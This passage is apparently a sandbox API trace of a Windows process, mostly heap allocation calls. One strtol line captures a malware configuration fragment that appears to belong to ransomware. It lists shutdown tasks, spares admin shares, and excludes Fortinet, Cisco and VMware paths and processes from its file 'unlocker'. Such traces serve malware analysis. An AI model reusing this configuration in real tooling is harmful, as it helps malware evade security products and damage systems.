returned 0x1b824d80 [0085.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0b90 [0085.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0bc0 [0085.148] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824dc0 [0085.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0bf0 [0085.148] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824dc0, Size=0x18) returned 0x1b824da0 [0085.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0c20 [0085.148] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824da0, Size=0x20) returned 0x1b7d0c50 [0085.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0c80 [0085.148] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d0c50, Size=0x28) returned 0x1b7d0cb0 [0085.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0c50 [0085.148] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d0cb0, Size=0x30) returned 0x1b7d7900 [0085.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0cb0 [0085.148] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d7900, Size=0x38) returned 0x1b7d7940 [0085.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0ce0 [0085.148] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d7940, Size=0x40) returned 0x17a750 [0085.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0d10 [0085.148] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x17a750, Size=0x48) returned 0x17a520 [0085.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0d40 [0085.148] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x17a520, Size=0x50) returned 0x1b7ce940 [0085.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0d70 [0085.148] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ce940, Size=0x58) returned 0x1b7ce820 [0085.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0da0 [0085.149] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ce820, Size=0x60) returned 0x1b7c19c0 [0085.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0dd0 [0085.149] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7c19c0, Size=0x68) returned 0x1b7c1aa0 [0085.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0e00 [0085.149] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7c1aa0, Size=0x70) returned 0x1b79d870 [0085.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0e30 [0085.149] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b79d870, Size=0x78) returned 0x1b79d7f0 [0085.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0e60 [0085.149] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b79d7f0, Size=0x80) returned 0x1b783e60 [0085.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0e90 [0085.149] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b783e60, Size=0x88) returned 0x1b783cb0 [0085.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0ec0 [0085.149] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b783cb0, Size=0x90) returned 0x1b7acf80 [0085.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0ef0 [0085.149] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7acf80, Size=0x98) returned 0x1b7ad020 [0085.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0f20 [0085.149] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ad020, Size=0xa0) returned 0x1b7a4cb0 [0085.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0f50 [0085.149] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7a4cb0, Size=0xa8) returned 0x1b7a5180 [0085.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0f80 [0085.149] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7a5180, Size=0xb0) returned 0x106580 [0085.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0fb0 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x106580, Size=0xb8) returned 0x106640 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d0fe0 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x106640, Size=0xc0) returned 0x1182d0 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1010 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1182d0, Size=0xc8) returned 0x1183a0 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1040 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1183a0, Size=0xd0) returned 0x1b776690 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1070 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b776690, Size=0xd8) returned 0x1b776770 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d10a0 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b776770, Size=0xe0) returned 0x1b798260 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d10d0 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b798260, Size=0xe8) returned 0x1b798170 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1100 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b798170, Size=0xf0) returned 0x1b7731b0 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1130 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7731b0, Size=0xf8) returned 0x1b772eb0 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1160 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b772eb0, Size=0x100) returned 0x168d60 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1190 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x168d60, Size=0x108) returned 0x1695e0 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d11c0 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1695e0, Size=0x110) returned 0x166bc0 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d11f0 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x166bc0, Size=0x118) returned 0x166ce0 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1220 [0085.150] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x166ce0, Size=0x120) returned 0x1b7d3a20 [0085.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1250 [0085.151] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3a20, Size=0x128) returned 0x1051b0 [0085.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1280 [0085.151] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1051b0, Size=0x130) returned 0x1b7dc860 [0085.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d12b0 [0085.151] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x138) returned 0x1b7dc860 [0085.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d12e0 [0085.151] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x140) returned 0x1b7dc860 [0085.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1310 [0085.151] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x148) returned 0x1b7dc860 [0085.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1340 [0085.151] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x150) returned 0x1b7dc860 [0085.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1370 [0085.151] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x158) returned 0x1b7dc860 [0085.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d13a0 [0085.151] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x160) returned 0x1b7dc860 [0085.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d13d0 [0085.151] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x168) returned 0x1b7dc860 [0085.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1400 [0085.151] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x170) returned 0x1b7dc860 [0085.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1430 [0085.151] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x178) returned 0x1b7dc860 [0085.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1460 [0085.151] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x180) returned 0x1b7dc860 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1490 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x188) returned 0x1b7dc860 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d14c0 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x190) returned 0x1b7dc860 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d14f0 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7dc860, Size=0x198) returned 0x1b7bbec0 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1520 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x1a0) returned 0x1b7bbec0 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1550 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x1a8) returned 0x1b7bbec0 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1580 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x1b0) returned 0x1b7bbec0 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d15b0 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x1b8) returned 0x1b7bbec0 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d15e0 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x1c0) returned 0x1b7bbec0 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1610 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x1c8) returned 0x1b7bbec0 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1640 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x1d0) returned 0x1b7bbec0 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1670 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x1d8) returned 0x1b7bbec0 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d16a0 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x1e0) returned 0x1b7bbec0 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d16d0 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x1e8) returned 0x1b7bbec0 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1700 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x1f0) returned 0x1b7bbec0 [0085.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1730 [0085.152] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x1f8) returned 0x1b7bbec0 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1760 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x200) returned 0x1b7bbec0 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1790 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x208) returned 0x1b7bbec0 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d17c0 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bbec0, Size=0x210) returned 0x1b7bbec0 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d17f0 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824d80, Size=0x18) returned 0x1b824da0 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1820 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1850 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824d80 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1880 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824d80, Size=0x18) returned 0x1b824dc0 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d18b0 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824dc0, Size=0x20) returned 0x1b7d18e0 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1910 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d18e0, Size=0x28) returned 0x1b7d1940 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d18e0 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d1940, Size=0x30) returned 0x1b7d7940 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1940 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d7940, Size=0x38) returned 0x1b7d7900 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1970 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d7900, Size=0x40) returned 0x17a520 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d19a0 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x17a520, Size=0x48) returned 0x17a750 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d19d0 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x17a750, Size=0x50) returned 0x1b7ce820 [0085.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1a00 [0085.153] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ce820, Size=0x58) returned 0x1b7ce940 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1a30 [0085.154] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ce940, Size=0x60) returned 0x1b7c1aa0 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1a60 [0085.154] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7c1aa0, Size=0x68) returned 0x1b7c19c0 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1a90 [0085.154] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7c19c0, Size=0x70) returned 0x1b79d7f0 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1ac0 [0085.154] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b79d7f0, Size=0x78) returned 0x1b79d870 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1af0 [0085.154] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b79d870, Size=0x80) returned 0x1b783cb0 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1b20 [0085.154] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b783cb0, Size=0x88) returned 0x1b783e60 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1b50 [0085.154] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b783e60, Size=0x90) returned 0x1b7ad020 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1b80 [0085.154] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ad020, Size=0x98) returned 0x1b7acf80 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1bb0 [0085.154] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7acf80, Size=0xa0) returned 0x1b7a5180 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1be0 [0085.154] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7a5180, Size=0xa8) returned 0x1b7a4cb0 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1c10 [0085.154] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7a4cb0, Size=0xb0) returned 0x106640 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1c40 [0085.154] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x106640, Size=0xb8) returned 0x106580 [0085.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1c70 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x106580, Size=0xc0) returned 0x1183a0 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1ca0 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1183a0, Size=0xc8) returned 0x1182d0 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1cd0 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1182d0, Size=0xd0) returned 0x1b776770 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1d00 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b776770, Size=0xd8) returned 0x1b776690 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1d30 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b776690, Size=0xe0) returned 0x1b798170 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1d60 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b798170, Size=0xe8) returned 0x1b798260 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1d90 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b798260, Size=0xf0) returned 0x1b772eb0 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1dc0 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b772eb0, Size=0xf8) returned 0x1b7731b0 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1df0 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7731b0, Size=0x100) returned 0x1695e0 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1e20 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1695e0, Size=0x108) returned 0x168d60 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1e50 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x168d60, Size=0x110) returned 0x166ce0 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1e80 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x166ce0, Size=0x118) returned 0x166bc0 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1eb0 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x166bc0, Size=0x120) returned 0x1b7bc0e0 [0085.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1ee0 [0085.155] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824da0, Size=0x20) returned 0x1b7d1f10 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1f40 [0085.156] strtol (in: _Str="0,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]},\"net\":{\"use\":true,\"ignore\":{\"use\":true,\"disk\":true,\"share\":[\"ipc$\",\"admin$\"]}},\"unlocker\":{\"use\":true,\"ignore\":{\"use\":true,\"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\",\"*\\\\Program File*\\\\Fortinet\",\"*\\\\Program File*\\\\Cisco\"],\"prc\":[\"psexec.exe\",\"system\",\"forti*.exe\",\"fmon.exe\",\"fcaptmon.exe\",\"FCHelper64.exe\"]}}}", _EndPtr=0x1c7fe1b0, _Radix=0 | out: _EndPtr=0x1c7fe1b0*=",\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]},\"net\":{\"use\":true,\"ignore\":{\"use\":true,\"disk\":true,\"share\":[\"ipc$\",\"admin$\"]}},\"unlocker\":{\"use\":true,\"ignore\":{\"use\":true,\"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\",\"*\\\\Program File*\\\\Fortinet\",\"*\\\\Program File*\\\\Cisco\"],\"prc\":[\"psexec.exe\",\"system\",\"forti*.exe\",\"fmon.exe\",\"fcaptmon.exe\",\"FCHelper64.exe\"]}}}") returned 0 [0085.156] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d1f10, Size=0x28) returned 0x1b7d1f70 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1f10 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1fa0 [0085.156] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824da0 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d1fd0 [0085.156] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824da0, Size=0x18) returned 0x1b824dc0 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d2000 [0085.156] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824dc0, Size=0x20) returned 0x1b7d2030 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d2060 [0085.156] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d2030, Size=0x28) returned 0x1b7d2090 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d2030 [0085.156] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7c1a30, Size=0x68) returned 0x1b7c19c0 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d20c0 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3420 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d20f0 [0085.156] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d3420, Size=0x10) returned 0x1b824dc0 [0085.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7d2120 